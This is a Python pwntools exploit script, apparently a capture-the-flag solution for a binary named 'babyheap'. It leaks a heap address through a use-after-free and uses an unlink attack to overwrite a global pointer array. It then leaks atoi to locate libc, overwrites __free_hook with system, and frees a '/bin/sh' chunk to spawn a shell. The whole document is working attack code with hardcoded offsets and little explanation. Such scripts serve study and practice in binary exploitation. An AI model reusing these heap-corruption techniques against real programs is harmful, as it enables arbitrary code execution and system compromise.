1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
| from pwn import *
r = process("./babyheap")
ptr = 0x602060
sys_libc = 0x45390
atoi_libc = 0x36E80
def add(index,content):
r.sendlineafter("Choice:","1")
r.sendlineafter("Index:",str(index))
if len(content) == 32:
r.sendafter("Content:",content)
else:
r.sendlineafter("Content:",content)
def edit(index,content):
r.sendlineafter("Choice:","2")
r.sendlineafter("Index:",str(index))
if len(content) == 32:
r.sendafter("Content:",content)
else:
r.sendlineafter("Content:",content)
def show(index):
r.sendlineafter("Choice:","3")
r.sendlineafter("Index:",str(index))
def free(index):
r.sendlineafter("Choice:","4")
r.sendlineafter("Index:",str(index))
def exp():
add(9,p64(0x31)*4)
add(0,p64(0x31)*4)
add(1,p64(0x31)*4)
add(2,p64(0x31)*4)
free(1)
free(0)
free(9)
show(9)
heapbase = u64(r.recv(4) + '\x00'*4) -0x30 #heapbase
print "%x"%heapbase
payload = "a"*8 + p64(0x80) + p64(ptr + 8 * 9 - 0x18) + p64(ptr + 8 * 9 - 0x10)
add(3,payload)
edit(0,p64(heapbase + 0x80)) #fastbin
add(4,"/bin/sh\x00")
add(5,p64(0x80)+p64(0x90)+"flag")
add(6,"flag")
add(7,"flag"*8)
add(8,"flag"*8)
free(2) #unlink
payload = p64(0x6020B0) + p64(0x601FE8)
edit(9,payload)
edit(6,p64(4294967286)) #count edit
show(7)
atoi = u64(r.recv(6) + '\x00\x00')
hook = atoi - atoi_libc + 3958696
sys = atoi - atoi_libc + sys_libc
print "hook %x"%hook
print "sys %x"%sys
payload = p64(hook)
edit(9,payload)
edit(6,p64(sys))
free(4)
r.interactive()
if __name__=="__main__":
exp()
|